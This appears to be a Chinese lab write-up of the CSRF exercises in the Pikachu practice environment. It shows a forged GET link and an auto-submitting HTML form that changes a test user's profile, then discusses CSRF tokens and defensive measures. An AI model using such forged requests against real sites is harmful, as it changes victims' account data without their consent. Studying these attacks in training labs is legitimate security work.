zoukankan      html  css  js  c++  java
  • pikachu----CSRF 跨站请求漏洞

     CSRF 

    在CSRF攻击场景中攻击者会伪造一个请求  (一个链接)

    然后欺骗目标用户点击,用户一旦点击了这个请求,整个攻击也就完成了

    所以CSRF攻击也被称为“one click“攻击

    例子:  想要修改lucy购物地址信息  lucy必须处于登录的状态,lucy必须点击攻击链接

    xss和csrf区别:

    1.csrf(get)

    登录之后,可以进入修改个人信息   然后进行抓包

    将get请求修改为攻击者伪造的链接  在登录状态下点击,就可以修改用户信息

    /pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=hebei&email=lucy%40pikachu.com&submit=submit

     

     2. csrf  (post)

     修改信息后,抓包

     如果是POST型的,所有参数在请求体中提交,我们不能通过伪造URL的方式进行攻击

    这里的攻击方式跟XSS中POST类型是一样的,攻击者可以搭建一个站点,在站点上做一个表单,

    诱导lucy点击这个链接,当用户点击时,就会自动向存在CSRF的服务器提交POST请求修改个人信息。、

    编写一个post.html页面,代码如下所示,本文把此页面放到 Kali 的/var/www/html/pikachu/doge_csrf下,然后启动 apache 服务

    <html>
    <head>
    <script>
    window.onload = function() {
      document.getElementById("postsubmit").click();
    }
    </script>
    </head>
    <body>
    <form method="post" action="http://192.168.50.100/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
        <input id="sex" type="text" name="sex" value="girl" />
        <input id="phonenum" type="text" name="phonenum" value="12345678922" />
        <input id="add" type="text" name="add" value="hacker" />
        <input id="email" type="text" name="email" value="lucy@pikachu.com" />
        <input id="postsubmit" type="submit" name="submit" value="submit" />
    </form>
    </body>
    </html>

        下面把页面的URL发送给受害者,只要受害者一点击这个链接,就会自动往服务器发送POST请求,修改地址信息

    http://192.168.50.100/pikachu/doge_csrf/post.html

      3. csrf  Token

    CSRF的主要问题是敏感操作容易被伪造,我们可以加入Token让请求不容易被伪造

    • 每次请求,都增加一个随机码(需要够随机,不容易被伪造),后台每次对这个随机码进行验证

    GET /pikachu/vul/csrf/csrftoken/token_get_edit.php?sex=girl&phonenum=12345678922&add=hebei&email=lucy%40pikachu.com&token=267795e467f2a0a262655625022&submit=submit HTTP/1.1

    每次提交完访问的是  token_get_edit.php 页面    

    、查看页面源码,会有一个隐藏的token值,  提交完 后台的token值会与提交的token值进行验证,跳过 才可以修改数据

    防护措施

    • 增加Token验证(常用做法)
      • 对关键操作增加Token参数,token必须随机,每次都不一样
    • 关于安全的会话管理(避免会话被利用) 避免登录态
      • 不要在客户端保存敏感信息(比如身份验证信息) 
      • 退出、关闭浏览器时的会话过期机制
      • 设置会话过机制,比如15分钟无操作,则自动登录超时
    • 访问控制安全管理
      • 敏感信息的修改时需要身份进行二次认证,比如修改账号密码,需要判断旧密码
      • 敏感信息的修改使用POST,而不是GET
      • 通过HTTP头部中的REFERER来限制原页面
    • 增加验证码
      • 一般在登录(防暴力破解),也可以用在其他重要信息操作的表单中(需要考虑可用性)
  • 相关阅读:
    Centos7.2 下搭建LNMP环境(终极版)Yum安装
    ThinkPHP3.2 插入数据库数据,缓存问题
    无限极分类的JS实现
    PHP 商城无限极分类
    高速下载Centos的地址
    高性能的城市定位API接口
    阿帕奇配置本地虚拟站点,XAMPP环境下
    Nginx 下配置Laravel 错误404
    laravel Redis缓存
    pytest.1.快速开始
  • 原文地址:https://www.cnblogs.com/xingyuner/p/12309143.html
Copyright © 2011-2022 走看看